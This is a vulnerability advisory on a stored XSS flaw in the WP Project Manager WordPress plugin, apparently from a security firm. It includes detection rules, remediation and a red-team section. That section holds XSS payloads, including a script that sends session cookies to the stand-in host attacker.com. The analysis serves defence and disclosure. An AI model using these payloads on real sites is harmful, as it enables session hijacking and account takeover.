CVE-2025-22649

Executive Summary

CVE-2025-22649 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Project Manager plugin by weDevs, affecting versions up to and including 2.6.22. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into project management pages. When an administrator or other user views the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, data theft, or further compromise of the WordPress installation.

The vulnerability resides in the improper neutralization of user-supplied input during web page generation. The plugin fails to sanitize or escape certain fields before storing them in the database and later rendering them in the admin dashboard. This is a classic stored XSS flaw within the WordPress ecosystem.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin via the WordPress admin dashboard or directly from the weDevs website are affected. No official patch has been released, making this a supply chain risk for any organization relying on this plugin for project management.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor or higher)
• User Interaction: Required (Admin must view the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is elevated due to the stored nature of the XSS, which can persist across sessions and affect multiple users. The low EPSS score (0.0%) suggests limited active exploitation in the wild, but the lack of a patch increases long-term risk.

Deep Dive & Mechanics

The vulnerability exists in the wedevs-project-manager plugin's handling of project task descriptions, comments, or custom fields. When a user submits input (e.g., a task title or comment), the plugin does not properly sanitize HTML or JavaScript before storing it in the WordPress database. The stored payload is later rendered without proper escaping in the admin dashboard, typically within a <div> or <span> element.

Root Cause: The plugin uses echo or wp_kses_post() with insufficient filtering, allowing <script> tags or event handlers like onerror or onload to pass through.

Attack Flow:

1. Attacker logs in with a contributor account.
2. Attacker creates a new project task or comment containing a malicious payload: <script>alert(document.cookie)</script>.
3. The payload is stored in the wp_pm_tasks or similar table.
4. An administrator navigates to the project management page.
5. The payload executes in the admin's browser, allowing the attacker to steal session cookies, perform actions on behalf of the admin, or inject further malicious content.

Vulnerable vs. Patched Code

Vulnerable Code (wp-project-manager/includes/views/task.php):

echo '<div class="pm-task-description">' . $task->description . '</div>';

The $task->description is output directly without escaping.

Patched Code (Hypothetical Fix):

echo '<div class="pm-task-description">' . esc_html( $task->description ) . '</div>';

Using esc_html() would convert HTML tags to entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WP Project Manager <= 2.6.22.
• Attacker account with Contributor role or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to "Projects" > "Add New Task".
3. In the task description field, inject the following payload:

   <img src=x onerror=alert('XSS')>
   

4. Save the task.
5. Wait for an administrator to view the project page. The payload will execute.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual task descriptions containing <script>, <img onerror>, or <svg onload>.
• Review WordPress database entries in wp_pm_tasks for suspicious HTML.

Hunting Query (MySQL):

SELECT * FROM wp_pm_tasks WHERE description LIKE '%<script%' OR description LIKE '%onerror%' OR description LIKE '%onload%';

Prevention:

• Implement a Web Application Firewall (WAF) rule to block XSS payloads in POST requests to /wp-admin/admin-ajax.php or task creation endpoints.
• Restrict contributor roles from creating tasks if not necessary.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Suspicious POST requests to /wp-admin/admin-ajax.php with action=pm_create_task and payloads containing <script> or event handlers.

• Host IOCs:

  • Database entries in wp_pm_tasks with description field containing <script>, <img onerror>, or <svg onload>.
  • Unusual JavaScript files or injected scripts in the WordPress admin dashboard.

• File IOCs:

  • Modified plugin files (e.g., task.php) if the attacker gains file write access.

Detection Engineering

YARA Rule

rule CVE_2025_22649_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Project Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22649"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/is
        $xss4 = /onclick\s*=\s*["']?[^"'\s>]+["']?/is
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: Stored XSS in WP Project Manager
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WP Project Manager plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=pm_create_task'
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'onclick='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in task descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22649 Stored XSS in WP Project Manager";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=pm_create_task"; http_client_body;
    pcre:"/(<script|onerror=|onload=|onclick=)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-22649;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Restrict user roles – Only allow trusted administrators to create tasks.
3. Apply virtual patching using a WAF to block XSS payloads in task creation requests.

Long-Term Fix:

• The vendor (weDevs) must release a patched version that properly escapes output using esc_html() or wp_kses() with a strict allowlist.
• Until a patch is available, consider migrating to an alternative project management plugin.

Workaround:

• Add the following code to the theme's functions.php to sanitize task descriptions on save:

add_filter( 'pm_task_description', 'sanitize_text_field' );

Valters IT Signature:

'  _____      _ _           _   ___ ___ ___
' |  __ \    | | |         | | |_ _|_ _/ _ \
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' | |  | (_| | | || (_| \ (_| | |___|___\___/
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' Valters IT - DevSecOps & Threat Intelligence
' CVE-2025-22649 Analysis